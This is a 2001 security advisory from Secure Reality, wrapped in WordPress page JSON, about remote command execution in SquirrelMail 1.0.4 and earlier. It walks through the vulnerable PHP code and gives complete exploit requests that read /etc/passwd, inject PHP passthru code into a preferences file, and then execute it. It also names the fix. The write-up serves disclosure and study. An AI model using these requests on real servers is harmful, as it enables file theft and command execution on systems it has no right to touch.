{"id":26,"date":"2021-06-15T00:14:46","date_gmt":"2021-06-15T00:14:46","guid":{"rendered":"https:\/\/securereality.com.au\/?page_id=26"},"modified":"2021-06-15T00:20:49","modified_gmt":"2021-06-15T00:20:49","slug":"security-advice-10","status":"publish","type":"page","link":"https:\/\/securereality.com.au\/security-advice-10\/","title":{"rendered":"Security Advisory #10"},"content":{"rendered":"\n<pre class=\"wp-block-preformatted\">=================================================\nSecure Reality Pty Ltd. Security Advisory #10 (SRADV00010)\n<blockquote class=\"wp-embedded-content\" data-secret=\"ia5LEvnB3P\"><a href=\"https:\/\/securereality.com.au\/\">Secure Reality<\/a><\/blockquote><iframe class=\"wp-embedded-content\" sandbox=\"allow-scripts\" security=\"restricted\" style=\"position: absolute; clip: rect(1px, 1px, 1px, 1px);\" title=\"&#8220;Secure Reality&#8221; &#8212; Secure Reality\" src=\"https:\/\/securereality.com.au\/embed\/#?secret=ia5LEvnB3P\" data-secret=\"ia5LEvnB3P\" width=\"600\" height=\"338\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\"><\/iframe>\n=================================================\n\n[Title]\nRemote command execution vulnerabilities in SquirrelMail\n\n[Released]\n2\/7\/2001\n\n[Vulnerable]\nVersions up to and including 1.0.4\n\n[Overview]\nSquirrelMail is an amazingly easy to use, good looking and functional web\nmail system written in PHP.\n\nIn versions specified SquirrelMail makes insecure calls to the PHP function\ninclude(). Installations of the versions specified are vulnerable to attacks\nin which the attacker gains the ability to execute arbitrary commands (and\ncode) on the remote web server with the permissions of the web server user,\ntypically 'nobody'.\n\n[Impact]\nRemote command execution (with privileges as above)\n\n[Detail]\nPlease note that this vulnerability was discussed in detail at the Black Hat\nBriefings in Hong Kong and Singapore in Asia 2001. At some stage, Powerpoint\npresentation notes and audio\/video of the presentation will become available\nat http:\/\/www.blackhat.com.\n\nNote also that this description will be best understood (and is released in\nconjunction with) our new paper \"A Study In Scarlet - Exploiting Common\nVulnerabilities in PHP Applications\" which can be downloaded from\nhttp:\/\/www.securereality.com.au\/archives.html\n\nAs with all the advisories released in conjunction with the paper above I'm\ngoing to describe this problem in gross detail, from finding the hole to\nexploiting it (sidestepping various annoying barriers along the way).\n\nThe problem is initially spotted with a trivial grep of the source. The\nfollowing line of code in load_prefs.php seems suspicious:\n\n39       require(\"$chosen_theme\");\n\nThe require() function tells PHP to read in the file specified in the\nvariable $chosen_theme and interpret it as though it were PHP code. If the\nattacker can affect $chosen_theme (with form input) they may be able to\npoint this at sensitive local files (e.g \/etc\/passwd) and have them returned\nor even worse, have their own PHP interpreted which allows them to run\narbitrary code.\n\nLooking higher in the file we get a feel for what load_prefs.php is meant to\ndo:\n\n8     **  Loads preferences from the $username.pref file used by almost\n9     **  every other script in the source directory and alswhere.\n\nOk, so its a file that is typically include()d by other PHP scripts that\nloads the users preferences (where user is determined by $username). This is\nlooking really good. This file is a library code file, its not ever meant to\nbe requested by a remote user, but it has the correct extension (.php) to be\nparsed as PHP code so a remote attacker can request it. Scripts like this\nare typically low hanging fruit since the fact that they're meant to be\nincluded by other scripts often means they have a certain 'context' they're\nmeant to work in. Without this context they're often easy to exploit.\n\nLooking from the top of the file at various housekeeping code:\n\n14    if (!isset($config_php))\n15       include(\"..\/config\/config.php\");\n16    if (!isset($prefs_php))\n17       include(\"..\/functions\/prefs.php\");\n18    if (!isset($plugin_php))\n19       include(\"..\/functions\/plugin.php\");\n20\n21    $load_prefs_php = true;\n22    if (!isset($username))\n23        $username = '';\n24    checkForPrefs($data_dir, $username);\n\nOk, lines 14 to 19 are interesting. The code tries to determine if its\nenvironment has been well established (that is, important code this page\nrelies upon has already been included). However, this is not a secure way to\ndetermine if the environment has been well constructed, an attacker can\ncause $config_php, $prefs_php or $plugin_php to be set by submitting them as\nform variables and thereby cause the required code not to be included.\n\nHaving tried to construct a sane environment the code goes on to set a flag\nindicating it has been included (later scripts check this variable before\ntrying to include it, in the same way that it checks for config.php etc).\nThe code then goes on to insure that $username is set to something (note\nthat no code to authenticate $username is evident yet). The script then\ncalls checkForPrefs with $data_dir (which is a configuration variable\nnormally set in config.php) and $username (the unauthenticated user the\nremote requestor is claiming to be).\n\ncheckForPrefs() is a function defined in ..\/functions\/prefs.php. The\nfollowing is the relevant code:\n\n116    \/** This checks if there is a pref file, if there isn't, it will\n117        create it. **\/\n118    function checkForPrefs($data_dir, $username) {\n119       $filename = \"$data_dir$username.pref\";\n120       if (!file_exists($filename)) {\n121          if (!copy(\"$data_dir\" . \"default_pref\", $filename)) {\n122             echo _(\"Error opening \") .\"$filename\";\n123             exit;\n124          }\n125       }\n126    }\n\nInteresting. When Squirrelmail is first installed the user needs to\nconfigure a data directory (that must be writable by Squirrelmail).\nSquirrelmail stores attachments to be downloaded, address book details and\nuser preferences in subdirectories of this directory. This code takes the\nunauthenticated username and checks if a preferences file exists for this\nuser, if it doesn't its created. This will come in very handy later on.\n\nSo back in load_prefs.php:\n\n26    $chosen_theme = getPref($data_dir, $username, \"chosen_theme\");\n27    $in_ary = false;\n28    for ($i=0; $i &lt; count($theme); $i++){\n29           if ($theme[$i][\"PATH\"] == $chosen_theme) {\n30                  $in_ary = true;\n31                  break;\n32           }\n33    }\n34    if (!$in_ary) {\n35                 $chosen_theme = \"\";\n36    }\n\nThis code reads the users preference of 'theme' (Squirrelmail has a\nthemeable user interface) into $chosen_theme. It then loops through the\n$theme[] array and determines if $chosen_theme matches one of those themes.\nIf it doesn't its set to nothing.\n\nThe $theme array is an array of valid themes set in config.php:\n\n46         $theme[0][\"PATH\"] = \"..\/themes\/default_theme.php\";\n47         $theme[0][\"NAME\"] = \"Default\";\n48         $theme[1][\"PATH\"] = \"..\/themes\/plain_blue_theme.php\";\n49         $theme[1][\"NAME\"] = \"Plain Blue\";\n50         $theme[2][\"PATH\"] = \"..\/themes\/sandstorm_theme.php\";\n51         $theme[2][\"NAME\"] = \"Sand Storm\";\n52         $theme[3][\"PATH\"] = \"..\/themes\/deepocean_theme.php\";\n53         $theme[3][\"NAME\"] = \"Deep Ocean\";\n54         $theme[4][\"PATH\"] = \"..\/themes\/slashdot_theme.php\";\n\nThis makes it all look much harder, an attacker can have a preferences file\ncreated (checkForPrefs() does that), but what then? They need to be able to\nchange their \"chosen_theme\" preference to effect the require() we noted at\nthe start of all this but if its not set to an element of the theme array\n(of which none are interesting) it'll just be unset.\n\nAs it turns out it takes a rather convoluted path to modify the preferences\nfile chosen_theme without authenticating. It should be clear how you could\ndo so by the end of this advisory however. Anyway, there's much jucier lines\nof attack if we look further into load_prefs.php.\n\n38    if ((isset($chosen_theme)) &amp;&amp; (file_exists($chosen_theme))) {\n39       require(\"$chosen_theme\");\n40    } else {\n41       if (file_exists($theme[0][\"PATH\"])) {\n42          require($theme[0][\"PATH\"]);\n43       } else {\n\nIgnoring the chosen_theme we spot the $theme[0]['path'] code. This should\nstick out like a sore thumb. Recall that the theme array comes from the\nconfig.php file. This file is include()d at the beginning of load_prefs.php\nbut ONLY if $config_php is not configured. So the immediately obvious attack\nis to set the following as form input:\n\nusername    = evilattacker\nconfig_php     = true\ntheme[0][PATH] = \/etc\/passwd\n\nWhich presumably return the password file to the attackers web browser.\nUnfortunately this attack is foiled and typically results in an error\nmessage something like 'Fatal error: Call to undefined function: _() in\n\/home\/html\/squirrelmail-1.0.4\/functions\/prefs.php on line 122' is generated.\n This is caused by the checkForPrefs() routine. It's checking if the user's\npreference file exists (as we saw earlier) but because we caused config.php\nnot to be included when it constructs the filename of\n'$data_dir$username.pref' it ends up with just '&lt;username&gt;.pref'. Since this\nis a file in the root directory it will never be found so it tries to create\nit and when this operation fails the script aborts.\n\nThe attacker now needs to provide the $data_dir variable themselves. It\nshould be hard for an attacker to guess the location but unfortunately one\nof the scripts leaks this information. Looking at the script\noptions_display.php:\n\n19    if (!isset($page_header_php))\n20       include('..\/functions\/page_header.php');\n\nThis is just one of the includes specified at the top of options_display.php\n(which normally displays a users preferences). Its performed before any sort\nof authentication.\n\nIn the file page_header.php (which fairly obviously normally provides a\nstandard header for all the pages):\n\n21    \/\/ Check to see if gettext is installed\n22    $headers_sent=set_up_language(getPref($data_dir, $username,\n\"language\"));\n\nThe above lines of code try to setup the language of the user. The call the\nfollowing code from prefs.php:\n\n13    function getPref($data_dir, $username, $string) {\n14       $filename = \"$data_dir$username.pref\";\n15       if (!file_exists($filename)) {\n16          printf (_(\"Preference file %s not found. Exiting abnormally\"),\n$filename);\n17          exit;\n18       }\n\nLooking at the above, before any authentication the page looks for\n'$data_dir$username.pref', if that isn't found it nicely tells us the file\nit was looking for but couldn't find. So, if an attacker requests the page\nwithout any username specified at all they receive a message like\n'Preference file \/var\/squirrelmail\/data\/.pref not found. Exiting\nabnormally'. $data_dir is obviously the bit before '.pref'.\n\nThe above makes the attack specified earlier possible with the following\ninput:\n\nusername    = evilattacker\nconfig_php     = true\ntheme[0][PATH] = \/etc\/passwd\ndata_dir       = &lt;dir as found&gt;\n\nIf an attacker makes a request like\nhttp:\/\/&lt;host&gt;\/squirrelmail-1.0.4\/src\/load_prefs.php?username=evilattacker&co\nnfig_php=true&amp;theme[0][PATH]=\/etc\/passwd&amp;data_dir=\/var\/squirrelmail\/data\/\nthey get a copy of the remote machines \/etc\/passwd file delivered to their\nweb browser.\n\nPresumably they're not going to be happy with just this level of access and\nwould like to further exploit the problem to gain remote command execution\nprivileges. This would normally be a relatively trivial exercise since the\nattacker can pick any file they wish on the remote machine and have it\ninterpreted as PHP code. Note that we can't use a remote files attack here\nbecause the code does a file_exists() on the file before including it and\nfile_exists() does not work with the PHP remote files functionality.\n\nThe attacker just needs to get code of their chosing into a file on the\nremote machine. As discussed in 'A Study In Scarlet' there are many ways to\ndo this. My first attempt used file upload but it failed as there appear to\nbe some weird bugs in my version of PHP (4.0.4pl1) with uploading a file\ninto a field with a two dimensional array name, this may well have been\nfixed since then. Anyway, trying to be general the attacker will look for an\nalternate way to get code into a file on the remote machine.\n\nI chose the most obvious avenue, the preferences file. Squirrelmail has been\nkind enough to create this file for us, its been kind enough to tell us\nwhich directory its in too so we know its absolute filename. The file looks\nlike the following:\n\nfull_name=\nreply_to=\nchosen_theme=..\/themes\/plain_blue_theme.php\nshow_num=25\nwrap_at=86\neditor_size=76\nleft_refresh=None\nlanguage=en\nlocation_of_bar=left\nlocation_of_buttons=between\norder1=1\norder2=2\norder3=3\norder4=5\norder5=4\norder6=6\n\nAll we need to do is get PHP code into this file without being forced to\nauthenticate. This ability is provided by the options_order.php script.\noptions_order.php normally allows a user to specify the order in which key\nfields of an email (Subject, From, To etc) they'd like displayed and in what\norder they should be displayed. As can be seen above each field is\nidentified by a field number (order&lt;fieldnumber&gt;=&lt;place in display&gt;'.\nHowever options_display doesn't go to any real effort to verify what a user\ninputs:\n\n83    } else if ($method == 'add' &amp;&amp; $add) {\n84       $index_order[count($index_order)+1] = $add;\n85    }\n86\n87    if ($method) {\n88       for ($i=1; $i &lt;= count($index_order); $i++) {\n89          setPref($data_dir, $username, \"order$i\", $index_order[$i]);\n90       }\n91    }\n\nIf the form input contains a 'method' variable set to 'add' the script\nassumes the user has decided to include another field in the display. The\nthen adds the field to the end of the list of fields to be displayed by\nplacing its number (which it assumes is in $add) to the end of the\npreferences list. The problem is that $add is a form variable that is\nnormally set via a drown down list in the preferences page to a valid field\nnumber but if an attacker ignores the form and sets it themselves it can\neasily be anything. Once the new field has been added all the fields are\nsaved in the preferences file.\n\nAn attacker can therefore specify something the following input and have PHP\ncode written to a known file:\n\nusername     = evilattacker\nmethod       = add\nadd          = \"&lt;?php passthru(\"\/bin\/ls \/etc\");\"\n\nWhen the attacker makes the request like\nhttp:\/\/host\/squirrelmail-1.0.4\/src\/options_order.php?username=evilattacker&m\nethod=add&amp;add=&lt;?php%20passthru(\"\/bin\/ls%20\/etc\");%20?&gt; the code is written\nto '$data_dir$username.pref'.\n\nNow the attacker can execute the same attack as specified above to retrieve\nthe password file to execute the code they just sent. The following request:\n\nhttp:\/\/server\/squirrelmail-1.0.4\/src\/load_prefs.php?username=heyheyhey&confi\ng_php=true&amp;theme[0][PATH]=\/var\/squirrelmail\/data\/evilattacker.pref&amp;data_dir=\n\/var\/squirrelmail\/data\/\n\nwould then result in a listing of the \/etc directory being returned to the\nattacker in their web browser. Obviously any command could be specified and\nfurther exploit code could be uploaded and executed as described in 'A Study\nIn Scarlet'.\n\nAs always with PHP there are many caveats to the attacks details in this\nadvisory based on PHP configuration and version. I'm not going to go into\ndetail discussing those here. Suffice to say this is a bug and it is usually\nexploitable.\n\n[Fix]\nLater versions of SquirrelMail correct this problem. Please download a\nversion above 1.0.5 from:\n http:\/\/www.squirrelmail.org\n\n[Acknowledgements]\nOur thanks to Luke Ehresman, Gustav Foseid and all the Squirrelmail\ndevelopers for their professional manner in confirming and fixing this\nproblem.\n\n[Disclaimer]\nAdvice, directions and instructions on security vulnerabilities in this\nadvisory do not constitute: an endorsement of illegal behavior; a guarantee\nthat protection measures will work; an endorsement of any product or\nsolution or recommendations on behalf of Secure Reality Pty Ltd. Content is\nprovided as is and Secure Reality Pty Ltd does not accept responsibility for\nany damage or injury caused as a result of its use.<\/pre>\n","protected":false},"excerpt":{"rendered":"<p>================================================= Secure Reality Pty Ltd. Security Advisory #10 (SRADV00010) Secure Reality ================================================= [Title] Remote command execution vulnerabilities in SquirrelMail [Released] 2\/7\/2001 [Vulnerable] Versions up to and including 1.0.4 [Overview] SquirrelMail is an amazingly easy to use, good looking and functional web mail system written in PHP. In versions specified SquirrelMail makes insecure calls to the &#8230; <a title=\"Security Advisory #10\" class=\"read-more\" href=\"https:\/\/securereality.com.au\/security-advice-10\/\" aria-label=\"More on Security Advisory #10\">Read more<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_generate-full-width-content":""},"_links":{"self":[{"href":"https:\/\/securereality.com.au\/wp-json\/wp\/v2\/pages\/26"}],"collection":[{"href":"https:\/\/securereality.com.au\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/securereality.com.au\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/securereality.com.au\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/securereality.com.au\/wp-json\/wp\/v2\/comments?post=26"}],"version-history":[{"count":0,"href":"https:\/\/securereality.com.au\/wp-json\/wp\/v2\/pages\/26\/revisions"}],"wp:attachment":[{"href":"https:\/\/securereality.com.au\/wp-json\/wp\/v2\/media?parent=26"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}